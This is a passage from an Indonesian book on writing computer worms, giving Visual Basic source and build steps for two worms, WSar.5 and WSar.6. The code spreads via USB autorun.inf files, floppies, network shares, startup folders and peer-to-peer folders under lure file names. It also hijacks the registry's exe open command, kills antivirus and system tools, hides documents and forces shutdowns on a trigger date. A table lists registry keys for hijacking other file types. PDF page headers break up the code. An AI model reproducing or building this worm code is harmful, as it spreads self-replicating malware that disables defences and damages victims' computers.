Private Sub tmrIseng_Timer() On Error Resume Next If (Right(Minute(Now), 1) = 5 Or Right(Minute(Now), 1) = 0) And _ Second(Now) = 13 Then Call MinimizeAll() End If If Day(Now) = 13 And Month(Now) = 10 Then Call PayLoad() MsgBox("WSar.5 Ada Pada Komputer Anda", vbExclamation) End IfEnd Sub
Private Function SpecialFolder(ByVal value) On Error Resume Next Dim FolderValue As String If value = 0 Then FolderValue = Left(SF, GetWindowsDirectory(SF, 255)) End If If value = 1 Then FolderValue = Left(SF, GetSystemDirectory(SF, 255)) End If If Right(FolderValue, 1) = "\" Then FolderValue = Left(FolderValue, Len(FolderValue) - 1) End If SpecialFolder = FolderValueEnd Function
Private Sub tmrSpreading_Timer() On Error Resume Next Dim filenya As String Dim NamaCantik As String Dim NamaAwal(10) As String NamaAwal(0) = "crack" NamaAwal(1) = "serial" NamaAwal(2) = "full"
160Jasakom
Computer Worm 1 - Secret of Underground Coding : Uncensored
Bab 11. W
orm W
Sar.5
NamaAwal(3) = "freeware" NamaAwal(4) = "tutorial" NamaAwal(5) = "software" NamaAwal(6) = "e-book" NamaAwal(7) = "keygen" NamaAwal(8) = "service pack" NamaAwal(9) = "update" Randomize()
Dim NamaTengah(20) As String NamaTengah(0) = "winamp" NamaTengah(1) = "winzip" NamaTengah(2) = "deepfreeze" NamaTengah(3) = "adobe reader" NamaTengah(4) = "vmware" NamaTengah(5) = "mirc" NamaTengah(6) = "kazaa" NamaTengah(7) = "transtool" NamaTengah(8) = "acdsee" NamaTengah(9) = "softice" NamaTengah(10) = "tweak ui" NamaTengah(11) = "alcohol 120%" NamaTengah(12) = "getright" NamaTengah(13) = "flash player" NamaTengah(14) = "winimage" NamaTengah(15) = "webshoot" NamaTengah(16) = "pdf factory" NamaTengah(17) = "shio" NamaTengah(18) = "horoskop" NamaTengah(19) = "zodiak" Randomize()
txtPath.Text = NamaAwal(Int(Rnd * 10)) & " " & NamaTengah(Int _ (Rnd * 20)) & " " & Year(Now) + 1 NamaCantik = txtPath.Text & ".exe"
Dim FolderDocu As String Dim FirstFile As String Dim FullDocu As String FolderDocu = GetStringValue("HKEY_CURRENT_USER\Soft" & _ "ware\Microsoft\Windows\CurrentVersion\Explorer\Shell Fol" & _ "ders", "Personal") txtPath.Text = FolderDocu txtPath2.Text = Dir(txtPath.Text & "\*.doc") FullDocu = txtPath.Text & "\" & txtPath2.Text FirstFile = Left(FullDocu, (Len(FullDocu) - 4)) If Len(txtPath2.Text) > 4 Then SetAttr(FullDocu, vbHidden) CopyFile(App.Path & "\" & App.EXEName & ".exe", FirstFile & _ ".zip .exe", False) SetAttr(FirstFile & ".zip .exe", vbNormal) End If
Dim i As Byte For i = 1 To Drive1.ListCount - 1
161Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
Bab
11
Wor
m W
Sar
.5
If GetDriveType(Drive1.List(i) & "\") = 2 Then If Len(Dir$(Drive1.List(i) & "\autorun.inf")) = 0 Then CopyFile(WormFile, Drive1.List(i) & "\SETUP.EXE", False) SetAttr(Drive1.List(i) & "\SETUP.EXE", vbReadOnly) filenya = Drive1.List(i) & "\autorun.inf"Open filenya For Output As #1Print #1, "[autorun]"Print #1, "OPEN=SETUP.EXE" Close(1) SetAttr(Drive1.List(i) & "\autorun.inf", vbReadOnly) End If End If Next i
If Second(Now) < 6 Then FileCopy(WormFile, "a:\" & NamaCantik) End IfEnd Sub
Private Function WormFile() Dim WPath, WName As String WPath = App.Path If Right(WPath, 1) <> "\" Then WPath = WPath & "\" End If WName = App.EXEName & ".exe" WormFile = WPath & WNameEnd Function
Berikut penjelasan tentang kode program:
Diawali dengan beberapa pendeklarasian function API, yang ber-guna untuk mendapatkan direktori Windows dan direktori System Windows. Saat form di-load, worm memeriksa file "c:\dfinstall.log" yang menandakan keberadaan program DeepFreeze dan jika ternyata berhasil ditemukan maka worm akan mengakhiri proses file utama, demikian pula dengan program Virtual PC, worm akan memeriksa file yang secara default adalah "c:\windows\cntx\vpchelp.exe".
Procedure juga menyembunyikan proses dari taskbar, memanggil pro-cedure InfectSystem, dan mengakhiri proses jika ternyata file utama berada pada disket.
Pada procedure InfectSystem worm membuat salinan file utama ke suatu direktori yang secara default berada di "c:\windows\config" kemudian memanipulasi registry dengan menambahkan key HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVer-sion\App Paths\LoadPowerProfile.EXE dengan value yang mengarah
162Jasakom
Computer Worm 1 - Secret of Underground Coding : Uncensored
Bab 11. W
orm W
Sar.5
kepada file salinan tersebut dan menambahkan registry run dengan nama 'LoadPowerProfile’ dan value "LoadPowerProfile Rundll32.exe".
Sebenarnya untuk value bisa menggunakan "LoadPowerProfile" saja, sengaja penulis tambahkan string "Rundll32.exe" dibelakangnya yang merupakan suatu file system Windows, dengan harapan dapat menge-coh penganalisa worm apabila akhirnya berhasil mengakses registry. Terakhir memanipulasi beberapa nilai registry dengan tujuan men-jaga agar file System dan Hidden tetap tidak terlihat pada Windows Explorer.
Procedure PayLoad pada WSar.5 akan terlihat lebih berbahaya, karena worm ini terlihat seperti menghapus seluruh file yang ada pada folder My Documents, namun sesungguhnya worm hanya mengatur semua file yang ada pada folder tersebut menjadi Hidden, System dan Read only yang tidak akan terlihat melalui Windows Explorer atau kotak dialog Open Documents.
Timer tmrAntiDestroyer akan memanggil function WinQuit pada module mdlWinForce dengan menutup aplikasi yang pada title-nya mengandung kata vir, av, safe, start, process, spy, autoruns, hijack, patrol, alarm, task, config, folder option, system, properties, watson, remov, scan dan kill.
Timer tmrDisableWindow akan memanggil function WinAble pada module mdlWinForce dengan menonaktifkan mouse dan keyboard pada aplikasi yang title-nya mengandung string "REG".
Timer tmrIseng akan memanggil function MinimizeAll pada module mdlMinimize dengan me-minimize semua jendela aplikasi yang aktif setiap 5 menit, dan jika tanggal dan bulan sekarang adalah 13 Oktober maka secara otomatis mengeksekusi procedure PayLoad, kemudian menampilkan sebuah kotak pesan dengan isi pesan "WSar.5 Ada Pada Komputer Anda".
Procedure tmrSpreading_Timer akan membuat data array NamaAwal sebanyak 10 dan NamaTengah sebanyak 20. Worm kemudian akan menggunakan nama acak dan menggabungkan kedua data tersebut untuk dijadikan nama file worm yang baru.
163Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
Bab
11
Wor
m W
Sar
.5
Worm juga menambahkan bilangan tahun yang akan datang, sehingga apabila tahun sekarang adalah 2008 maka nilainya menjadi 2009, lihat contoh nama file berikut ini:
1. crack deepfreeze 2009.exe2. freeware transtool 2009.exe3. full softice 2009.exe
Procedure tmrSpreading_Timer kemudian mengatur nilai variabel FolderDocu dengan path My Documents yang didapatkan dari nilai registry, kemudian mengatur nilai properti Text pada txtPath dengan nilai yang sama pada variabel FolderDocu, mengatur nilai properti Text pada txtPath2 dengan suatu nilai berupa nama file dokumen Microsoft Word yang didapatkan dari function DIR dengan data dari nilai properti Text pada txtPath dan menambahkannya dengan string ".doc" sebagai ekstensinya, kemudian mengatur nilai variabel FullDocu dengan peng-gabungan nilai Text pada txtPath dan txtPath2, mengatur nilai variabel FirstFile menjadi nilai pada variabel FullDocu dengan terlebih dahulu menghilangkan 4 karakter disebelah kanan yang merupakan ekstensi file.
Jika jumlah karakter Text pada txtPath2 lebih besar dari 4, yang artinya ada file dokumen ditemukan maka procedure mengatur atribut file yang ada pada nilai variabel FullDocu menjadi Hidden, kemudian membuat salinan worm ke direktori tersebut dengan nama yang sama dan disertai dengan ekstensi ganda ".zip .exe" sekaligus mengatur atribut file salinan tersebut menjadi normal.
Selain itu worm akan membuat file konfigurasi AutoRun dengan nama file "autorun.inf" dan "setup.exe" disetiap removable disk (termasuk USB Flash Disk) yang terhubung, dengan tujuan agar removable disk yang terinfeksi secara otomatis akan menulari system komputer yang terhubung dengannya kemudian.
Jika detik sekarang lebih kecil dari 6 maka procedure membuat salinan worm ke drive A dengan nama file yang diambil secara acak.
Module mdlMinimize memanfaatkan function FindWindow dan PostMessage dari library user32, dengan membuat suatu function yang mengirimkan instruksi pada semua jendela aplikasi yang terbuka agar ter-minimize atau ter-maximize.
164Jasakom
Computer Worm 1 - Secret of Underground Coding : Uncensored
Bab 11. W
orm W
Sar.5
Module WinForce memanfaatkan function API PostMessage, Enum-Windows, GetWindowText, EnableWindow, GetParent dan IsWin-dowVisible dari library user32, dengan membuat suatu function yang memeriksa caption setiap jendela aplikasi yang terbuka, dan dari cap-tion yang ditentukan memungkinkan untuk menutup file tersebut atau membuatnya menjadi aktif/enable atau tidak aktif/disable.
165Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
Bab
12.
Wor
m W
Sar
.6
BAB 12WORM WSar.6
Worm ini bernama WSar.6 (worm dasar 6), menggunakan trik launcher yang disebut sebagai metode Shell Spawning, dimana worm akan aktif jika user mengeksekusi suatu file
dengan ekstensi tertentu.
Melalui WSar.6 penulis akan mendemonstrasikan metode Shell Spawning dengan memanfaatkan ekstensi exe (executable files).
Dengan teknik sedikit berbeda dengan worm sebelumnya, WSar.6 me-nutup aplikasi tidak dengan memanfaatkan title pada aplikasi, tetapi pada nama file aplikasi tersebut.
Metode ini menjadi sangat berguna apabila worm ingin menutup ap-likasi yang tidak memperlihatkan suatu jendela aplikasi apapun pada layar monitor. Contoh saja aplikasi antivirus, kenyataannya hampir semua aplikasi antivirus tidak menampilkan jendela aplikasi, bekerja secara background dan hanya menampilkan sebuah icon pada system tray saja.
Selain itu worm memanfaatkan shared folder pada aplikasi peer to peer dan berusaha membuat salinan pada direktori network yang di share.
166Jasakom
Computer Worm 1 - Secret of Underground Coding : Uncensored
Bab 12. W
orm W
Sar.6
12.1 ALGORITMAWSar.6 memiliki rutin-rutin yang akan melakukan tindakan-tindakan sebagai berikut:1. Melakukan pemeriksaan terhadap eksistensi worm itu sendiri pada
suatu system komputer2. Worm menyembunyikan dirinya dari task list3. Kemudian Worm memanipulasi registry dengan tujuan peman-
faatan metode Shell Spawning4. Saat menginfeksi suatu system komputer, worm akan membuat
salinan file utama ke direktori System Windows dengan nama loadsys.exe dengan menggunakan icon flash.ico
5. Worm secara otomatis akan menonaktifkan aplikasi yang memiliki nama file; regedit.exe, regedt32.exe, install.exe, setup.exe, rl.exe, sysmechanic.exe, msconfig.exe
6. Pada saat tertentu worm akan membuat salinan dirinya pada disket, shared folder pada aplikasi peer to peer atau pada network
7. Dampak lain yang ditimbulkan adalah setiap 5 menit apabila ap-likasi Notepad, Microsoft Word atau WordPad sedang aktif maka worm akan mengirimkan tulisan yang akan terketik sendiri pada halaman kerja aplikasi tersebut
8. Setiap tanggal 13 bulan Oktober akan menampilkan pesan "WSar.6 Ada Pada Komputer Anda", kemudian secara otomatis melakukan proses shut down.
12.2 PEMROGRAMANBuat sebuah project baru pada aplikasi Visual Basic. Atur Project Name menjadi 'WSar’, dan Application Title menjadi 'WSar.6’
Tambahkan 4 buah object Timer dan 3 buah Module, kemudian atur properti untuk masing-masing object tersebut sebagai berikut:
167Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
Bab
12.
Wor
m W
Sar
.6
Properti object Form1
Jenis Nilai KeteranganName frmWSar6 Mengatur nama form menjadi frmWSar6
Icon (Icon) Pilih icon yang akan digunakan pada form, WSar.6 menggunakan icon flash.ico
ShowInTaskbar False Tidak menampilkan form pada taskbar
Visible False Tidak menampilkan form pada layar.
BorderStyle None Tidak memberikan garis tepi pada form
ControlBox False Tidak menggunakan control box
Properti object Timer1
Jenis Nilai KeteranganName tmrWinExit Mengatur nama Timer menjadi tmrWinExit
Enable True Pastikan Timer akan aktif saat form di-load
Interval 500 Setiap instruksi pada procedure Timer akan dieksekusi setiap setengah detik
Properti object Timer2
Jenis Nilai KeteranganName tmrSpreading Mengatur nama Timer menjadi tmrSpread-
ing
Enable True Pastikan Timer akan aktif saat form di-load
Interval 1000 Setiap instruksi pada procedure Timer akan dieksekusi setiap 1 detik
168Jasakom
Computer Worm 1 - Secret of Underground Coding : Uncensored
Bab 12. W
orm W
Sar.6
Properti object Timer3
Jenis Nilai KeteranganName tmrIseng Mengatur nama Timer menjadi tmrIseng
Enable False Pastikan Timer tidak aktif saat form di-load
Interval 100 Setiap instruksi pada procedure Timer akan dieksekusi setiap 0.1 detik
Tag Woooy... kok ngetik sendiri neeh...
Tag ini akan digunakan pada procedure tmrIseng
Properti object Timer4
Jenis Nilai KeteranganName tmrIsengLauncher Mengatur nama Timer menjadi tmrIsen-
gLauncher
Enable True Pastikan Timer akan aktif saat form di-load
Interval 1000 Setiap instruksi pada procedure Timer akan dieksekusi setiap satu detik
Properti Module1
Jenis Nilai KeteranganName mdlWinExit Mengatur nama module menjadi mdlWinExit
Properti Module2
Jenis Nilai KeteranganName mdlWinFind Mengatur nama module menjadi mdlWinFind
Properti Module3
Jenis Nilai KeteranganName mdlRegistryAPI Mengatur nama module menjadi
mdlRegistryAPI
169Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
Bab
12.
Wor
m W
Sar
.6
Ketik kode program berikut ini pada module mdlWinExit:
Private Declare Function CreateToolhelp32Snapshot Lib "kernel32" _ (ByVal lFlags As Long, ByVal lProcessID As Long) As LongPrivate Declare Function Process32First Lib "kernel32" (ByVal _ hSnapshot As Long, ByVal lppe As PROCESSENTRY32) As LongPrivate Declare Function Process32Next Lib "kernel32" (ByVal _ hSnapshot As Long, ByVal lppe As PROCESSENTRY32) As LongPrivate Declare Function OpenProcess Lib "kernel32" (ByVal _ dwDesiredAccess As Long, ByVal bInheritHandle As Long, _ ByVal dwProcessId As Long) As LongPrivate Declare Function TerminateProcess Lib "kernel32" (ByVal _ hProcess As Long, ByVal uExitCode As Long) As LongPrivate Const TH32CS_SNAPPROCESS As Long = 2&Private Const MAX_PATH As Integer = 260Private Type PROCESSENTRY32dwSize As LongcntUsage As Longth32ProcessID As Longth32DefaultHeapID As Longth32ModuleID As LongcntThreads As Longth32ParentProcessID As LongpcPriClassBase As LongdwFlags As LongszExeFile As String * MAX_PATHEnd Type
Public Function WinExit(ByVal sExeNam As String) Dim lLng As Long, lA As Long, lExCode As Long Dim procObj As PROCESSENTRY32 Dim hSnap As Long Dim lRet As Long hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0&) procObj.dwSize = Len(procObj) lRet = Process32First(hSnap, procObj) Do While Process32Next(hSnap, procObj) If InStr(1, LCase(procObj.szExeFile), LCase(sExeNam$)) > 0 Then lLng = OpenProcess(&H1, ByVal 0&, procObj.th32ProcessID) lA = TerminateProcess(lLng, lExCode) Exit Do End If LoopEnd Function
170Jasakom
Computer Worm 1 - Secret of Underground Coding : Uncensored
Bab 12. W
orm W
Sar.6
Untuk module mdlRegistryAPI, Anda bisa menggunakan module yang sama pada WSar.4, kemudian ketik kode program berikut ini pada module mdlWinFind:
Private Declare Function PostMessage Lib "user32" Alias _ "PostMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, _ ByVal wParam As Long, ByVal lParam As Long) As LongPrivate Declare Function EnumWindows& Lib "user32" (ByVal _ lpEnumFunc As Long, ByVal lParam As Long)Private Declare Function GetWindowText Lib "user32" Alias _ "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString _ As String, ByVal cch As Long) As LongPrivate Declare Function IsWindowVisible& Lib "user32" (ByVal _ hwnd As Long)Private Declare Function GetParent& Lib "user32" (ByVal hwnd As _ Long)Public Declare Function EnableWindow Lib "user32" (ByVal hwnd _ As Long, ByVal fEnable As Long) As LongDim sPattern As String, hFind As LongConst WM_CLOSE = &H10
Function EnumWinProc(ByVal hwnd As Long, ByVal lParam As _ Long) As Long Dim k As Long, sName As String If IsWindowVisible(hwnd) And GetParent(hwnd) = 0 Then sName = Space$(128) k = GetWindowText(hwnd, sName, 128) If k > 0 Then sName = Left$(sName, k) If lParam = 0 Then sName = UCase(sName) If sName Like sPattern Then hFind = hwnd EnumWinProc = 0 Exit Function End If End If End If EnumWinProc = 1End Function
Function WinFind(ByVal sWild As String, Optional ByVal bMatchCase As _ Boolean = True) As Long sPattern = sWild If Not bMatchCase Then sPattern = UCase(sPattern) EnumWindows(AddressOf EnumWinProc, bMatchCase) WinFind = hFindEnd Function
171Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
Bab
12.
Wor
m W
Sar
.6
Ketik kode program berikut ini pada object frmWSar6:
'WSar.6 by Achmad Darmal'Tarakan, Kalimantan Timur - IndonesiaOption Explicit On
Private Declare Function GetWindowsDirectory Lib "kernel32" _ Alias "GetWindowsDirectoryA" (ByVal lpBuffer As String, _ ByVal nSize As Long) As LongPrivate Declare Function GetSystemDirectory Lib "kernel32" Alias _ "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize _ As Long) As LongPrivate SF As String * 255Dim bilangan As Integer
Private Sub Form_Load() On Error Resume Next Dim Spawning As Object App.TaskVisible = False Spawning = Command()Shell (Spawning), vbNormalFocus If App.PrevInstance = True Then End InfectSystem()End Sub
Private Sub InfectSystem() On Error Resume Next FileCopy(WormFile, SpecialFolder(1) & "\loadsys.exe") SetStringValue("HKEY_CLASSES_ROOT\exefile\shell\open\command", "", _ "loadsys.exe %1")End Sub
Private Sub InfectNet() On Error Resume Next Dim networm As String Dim i, nr, nrnd As Integer Dim fsos Dim fso Dim netdrv fsos = CreateObject("Scripting.FileSystemObject") fso = CreateObject("WScript.Network") netdrv = fso.EnumNetworkDrives Dim NV(5) As String NV(0) = "readit" NV(1) = "playit" NV(2) = "launchit" NV(3) = "startit" NV(4) = "buncit" Randomize() nr = Int(Rnd * 999) nrnd = Int(Rnd * 5) networm = NV(nrnd) & nr & ".exe"
172Jasakom
Computer Worm 1 - Secret of Underground Coding : Uncensored
Bab 12. W
orm W
Sar.6
If netdrv.Count <> 0 Then For i = 0 To netdrv.Count - 1 If InStr(netdrv.Item(i), "\") <> 0 Then
FileCopy(WormFile, fsos.BuildPath(netdrv.Item(i), networm)) FileCopy(WormFile, fsos.BuildPath(netdrv.Item(i), "\windows\d" & _ "esktop\" & networm)) FileCopy(WormFile, fsos.BuildPath(netdrv.Item(i), "\windows\S" & _ "tart Menu\Programs\startup\" & networm)) FileCopy(WormFile, fsos.BuildPath(netdrv.Item(i), "\Document" & _ "s and Settings\Administrator\Start Menu\Programs" & "\start" & _ "up\" & networm)) FileCopy(WormFile, fsos.BuildPath(netdrv.Item(i), "\Document" & _ "s and Settings\All Users\Start Menu\Programs\startup\" & _ networm)) FileCopy(WormFile, fsos.BuildPath(netdrv.Item(i), "\Document" & _ "s and Settings\Default User\Start Menu\Programs\" & "startup\" _ & networm)) FileCopy(WormFile, fsos.BuildPath(netdrv.Item(i), "\Document" & _ "s and Settings\Administrator\Desktop\" & networm)) FileCopy(WormFile, fsos.BuildPath(netdrv.Item(i), "\Document" & _ "s and Settings\All Users\Desktop\" & networm)) FileCopy(WormFile, fsos.BuildPath(netdrv.Item(i), "\Document" & _ "s and Settings\Default User\Desktop\" & networm)) FileCopy(WormFile, fsos.BuildPath(netdrv.Item(i), "\Winnt\Prof" & _ "iles\All Users\Start menu\Programs\Startup\" & networm)) FileCopy(WormFile, fsos.BuildPath(netdrv.Item(i), "\Winnt\Prof" & _ "iles\All Users\Desktop\" & networm)) FileCopy(WormFile, fsos.BuildPath(netdrv.Item(i), "\Winnt\Prof" & _ "iles\Administrator\Start menu\Programs\Startup\" & networm)) FileCopy(WormFile, fsos.BuildPath(netdrv.Item(i), "\Winnt\Prof" & _ "iles\Administrator\Desktop\" & networm)) FileCopy(WormFile, fsos.BuildPath(netdrv.Item(i), "\Winnt\Prof" & _ "iles\Default User\Start menu\Programs\Startup\" & networm)) FileCopy(WormFile, fsos.BuildPath(netdrv.Item(i), "\Winnt\Prof" & _ "iles\Default User\Desktop\" & networm)) End If Next End IfEnd Sub
Private Sub tmrIseng_Timer() On Error Resume Next bilangan = bilangan + 1 SendKeys(Mid(tmrIseng.Tag, bilangan, 1)) If bilangan = Len(tmrIseng.Tag) Then tmrIseng.Enabled = False bilangan = 0 End If If Day(Now) = 13 And Month(Now) = 10 Then Call PayLoad()End Sub
173Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
Bab
12.
Wor
m W
Sar
.6
Private Sub tmrIsengLauncher_Timer() On Error Resume Next If (Right(Minute(Now), 1) = 5 Or Right(Minute(Now), 1) = 0) And _ Second(Now) = 13 Then If WinFind("*pad*", False) <> 0 Or WinFind("*word*", False) <> _ 0 Then tmrIseng.Enabled = True End If End IfEnd Sub
Private Sub tmrSpreading_Timer() On Error Resume Next If (Minute(Now) = 16 Or Minute(Now) = 46) And Second(Now) = _ 13 Then Call PerToPer() End If If (Minute(Now) = 1 Or Minute(Now) = 31) And Second(Now) = _ 13 Then Call InfectNet() End If If (Right(Minute(Now), 1) = 2 Or Right(Minute(Now), 1) = 8) And _ Second(Now) = 13 Then Call InfectFloppy() End IfEnd Sub
Private Sub tmrWinExit_Timer() On Error Resume Next WinExit("regedit.exe") WinExit("regedt32.exe") WinExit("install.exe") WinExit("setup.exe") WinExit("rl.exe") WinExit("sysmechanic.exe") WinExit("msconfig.exe")End Sub
Private Sub PerToPer() On Error Resume Next
Dim wormname As String
Dim Filone(4) As String Filone(0) = "New Song Of " Filone(1) = "The Best Of " Filone(2) = "New Album Of " Filone(3) = "Greatest Song Of "
Dim Filtwo(8) As String Filtwo(0) = "Mariah Carey" Filtwo(1) = "M Jackson" Filtwo(2) = "Whitney" Filtwo(3) = "Metallica" Filtwo(4) = "Elvis Presley"
174Jasakom
Computer Worm 1 - Secret of Underground Coding : Uncensored
Bab 12. W
orm W
Sar.6
Filtwo(5) = "Kenny G" Filtwo(6) = "Aliyah" Filtwo(7) = "Bon Jovi"
Dim Filthree(7) As String Filthree(0) = ".avi .exe" Filthree(1) = ".mpg .exe" Filthree(2) = ".mpeg .exe" Filthree(3) = ".wma .exe" Filthree(4) = ".mp3 .exe" Filthree(5) = ".wav .exe" Filthree(6) = ".mid .exe" Randomize() wormname = Filone(Int(Rnd * 4)) & Filtwo(Int(Rnd * 8)) & _ Filthree(Int(Rnd * 7))
Dim P2P(1 To 7) As String Dim w As Integer P2P(1) = "C:\Program Files\BearShare\Shared" P2P(2) = "C:\Program Files\Edonkey2000\Incoming" P2P(3) = "C:\Program Files\Grokster\My Grokster" P2P(4) = "C:\Program Files\KMD\My Shared Folder" P2P(5) = "C:\Program Files\Kazaa\My Shared Folder" P2P(6) = "C:\Program Files\Kazaa Lite\My Shared Folder" P2P(7) = "C:\Program Files\Morpheus\My Shared Folder" For w = 1 To 7 If Len(Dir$(P2P(w), vbDirectory)) <> 0 Then FileCopy(WormFile, P2P(w) & "\" & wormname) End If NextEnd Sub
Private Function SpecialFolder(ByVal value) On Error Resume Next Dim FolderValue As String If value = 0 Then FolderValue = Left(SF, GetWindowsDirectory(SF, 255)) End If If value = 1 Then FolderValue = Left(SF, GetSystemDirectory(SF, 255)) End If If Right(FolderValue, 1) = "\" Then FolderValue = Left(FolderValue, Len(FolderValue) - 1) End If SpecialFolder = FolderValueEnd Function
Private Sub InfectFloppy() On Error Resume Next Dim Acak As Integer Dim NamaCantik(10) As String NamaCantik(0) = "millionaire." NamaCantik(1) = "pussycat." NamaCantik(2) = "hangman." NamaCantik(3) = "test-IQ."
175Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
Bab
12.
Wor
m W
Sar
.6
NamaCantik(4) = "tom n jerry." NamaCantik(5) = "egg." NamaCantik(6) = "puzzle." NamaCantik(7) = "chess." NamaCantik(8) = "solitaire." NamaCantik(9) = "scrabble." Randomize() Acak = Int(Rnd * 10) If Len(Dir$("A:\*..exe")) = 0 Then FileCopy(WormFile, "A:\" & NamaCantik(Acak) & ".exe") End IfEnd Sub
Private Sub PayLoad() On Error Resume Next MsgBox("WSar.6 Ada Pada Komputer Anda", vbExclamation) Call Shell("Rundll32.exe user,exitwindows")End Sub
Private Function WormFile() Dim WPath, WName As String WPath = App.Path If Right(WPath, 1) <> "\" Then WPath = WPath & "\" End If WName = App.EXEName & ".exe" WormFile = WPath & WNameEnd Function
Berikut penjelasan tentang kode program:
Pada procedure Form_Load, worm mengatur agar saat load, worm se-cara otomatis mengeksekusi nama file yang ditambahkan setelahnya. Hal ini berkaitan dengan metode Shell Spawning yang digunakan WSar.6, sehingga bentuk umum worm dapat ditulis sebagai berikut:
worm [filename]
Contoh, untuk mengeksekusi file "c:\windows\notepad.exe" dengan nama file utama worm adalah loadsys.exe maka dapat menggunakan sintaksis berikut ini:
loadsys c:\windows\notepad.exe
Worm juga menyembunyikan proses dari taskbar, memeriksa proses instan yang sama dan mencegah file utama dieksekusi lebih dari satu kali dengan langsung mengakhiri proses file utama.
176Jasakom
Computer Worm 1 - Secret of Underground Coding : Uncensored
Bab 12. W
orm W
Sar.6
Pada procedure InfectSystem worm membuat salinan file utama ke direktori System Windows dengan nama file loadsys.exe kemudian memanipulasi registry pada key HKEY_CLASSES_ROOT\exefile\shell\open\command dan mengubah value menjadi "loadsys.exe %1". Nilai registry ini akan mengeksekusi file loadsys.exe setiap kali user mengeksekusi file apa saja yang berekstensi "exe".
Procedure InfectNect akan berusaha membuat salinan worm pada shared drive atau direktori dalam suatu jaringan, dengan menggu-nakan 5 nama file yang berbeda dan ditujukan pada direktori default StartUp, Desktop, dan My Documents.
Procedure tmrIseng_Timer bekerja secara otomatis dengan mengetik-kan tombol huruf tertentu pada keyboard, dan akhirnya akan mem-bentuk suatu kalimat yang diambil dari tag pada object tmrIseng, yaitu kalimat "Woooy... kok ngetik sendiri neeh...".
Sementara procedure tmrIsengLauncher_ Timer mengatur agar procedure tmrIseng_Timer aktif setiap lima menit, dan hanya jika worm menemukan jendela aplikasi yang mengandung kata word, seperti Microsoft Word atau mengandung kata pad seperti Notepad dan Wordpad.
Procedure tmrSpreading_Timer mengatur agar apabila menit sekarang menunjukan nilai 16 atau 46 dan detik menunjukan nilai 13 maka worm memanggil procedure PerToPer.
Apabila menit sekarang menunjukan nilai 1 atau 31 dan detik menun-jukan nilai 13 maka worm memanggil procedure InfectNet, kemudian apabila satu angka disebelah kanan pada menit sekarang menunjukan nilai 2 atau 8 dan detik menunjukan nilai 13 maka worm memanggil procedure InfectFloppy.
Procedure tmrWinExit_Timer berfungsi untuk memastikan tidak ada satupun dari program; regedit.exe, regedt32.exe, install.exe, setup.exe, rl.exe, sysmechanic.exe dan msconfig.exe yang dapat dijalankan oleh user, dengan memanggil function WinExit dari module mdlWinExit.
Procedure PerToPer akan membuat salinan worm di setiap direktori de-fault aplikasi peer to peer seperti BearShare, Edonkey, Grokster, KMD, Kazaa, KazaaLite dan Morpheus, dengan banyak membuat kombinasi nama file dan ekstensi.
177Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
Bab
12.
Wor
m W
Sar
.6
Procedure InfectFloppy berfungsi untuk membuat salinan file utama worm pada disket. Procedure PayLoad akan menampilkan pesan "WSar.6 Ada Pada Komputer Anda" dan langsung mematikan kom-puter.
Catatan untuk WSar.6 : berikut ini adalah beberapa lokasi key pada registry yang bisa digunakan untuk metode Shell Spawning:
Ekstensi Lokasi KeyEXE HKEY_CLASSES_ROOT\exefile\shell\open\command
BAT HKEY_CLASSES_ROOT\batfile\shell\open\command
HTA HKEY_CLASSES_ROOT\htafile\shell\open\command
PIF HKEY_CLASSES_ROOT\piffile\shell\open\command
COM HKEY_CLASSES_ROOT\comfile\shell\open\command
GIF HKEY_CLASSES_ROOT\giffile\shell\Open\command
HTML HKEY_CLASSES_ROOT\htmlfile\shell\open\command
HTT HKEY_CLASSES_ROOT\HTTfile\shell\Edit\command
INF HKEY_CLASSES_ROOT\inffile\shell\open\command
INI HKEY_CLASSES_ROOT\inifile\shell\open\command
JPEG HKEY_CLASSES_ROOT\jpegfile\shell\Open\command
MID HKEY_CLASSES_ROOT\MIDFile\shell\open\command
MP3 HKEY_CLASSES_ROOT\mp3file\shell\open\command
MPEG HKEY_CLASSES_ROOT\mpegfile\shell\open\command
REG HKEY_CLASSES_ROOT\regfile\shell\open\command
RTF HKEY_CLASSES_ROOT\rtffile\shell\open\command
SCR HKEY_CLASSES_ROOT\scrfile\shell\open\command
VBS HKEY_CLASSES_ROOT\VBSFile\Shell\Open\Command
WMA HKEY_CLASSES_ROOT\wmafile\shell\open\command
TXT HKEY_CLASSES_ROOT\txtfile\shell\open\command
Key ini juga terdapat pada HKEY_LOCAL_MACHINE\ Software\CLASSES, sehingga untuk menggunakan metode Shell Spawning pada ekstensi exe dan txt, dapat menggunakan key berikut:
178Jasakom
Computer Worm 1 - Secret of Underground Coding : Uncensored
Bab 12. W
orm W
Sar.6
Ekstensi Lokasi KeyEXE HKEY_LOCAL_MACHINE\Software\CLASSES\exefile\
shell\open\command
TXT HKEY_LOCAL_MACHINE\Software\CLASSES\txtfile\shell\open\command
Untuk menggunakan metode Shell Spawning pada executable file seperti ekstensi exe dan com, sangatlah mudah seperti yang dicontohkan pada WSar.6, tetapi untuk ekstensi yang tidak merupakan file executable seperti txt dan rtf, maka harus ditambahkan nama file atas program yang umumnya digunakan untuk membuka ekstensi file tersebut.
Sebagai contoh, berikut ini adalah penggunaan TXT spawning yang bisa diaplikasikan pada WSar.6
Private Sub Form_Load() On Error Resume Next Dim Spawning As Object App.TaskVisible = False Spawning = Command() Shell ("c:\windows\notepad.exe " & Spawning), _ vbNormalFocus If App.PrevInstance = True Then End InfectSystem()End Sub
Private Sub InfectSystem() On Error Resume Next FileCopy(App.EXEName & ".exe", SpecialFolder(1) & _ "\loadsys.exe") SetStringValue("HKEY_CLASSES_ROOT\txtfile\shel" & _ "l\open\command", "", "loadsys.exe %1")End Sub
179Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
B
ab 1
3. W
orm
WS
ar.7
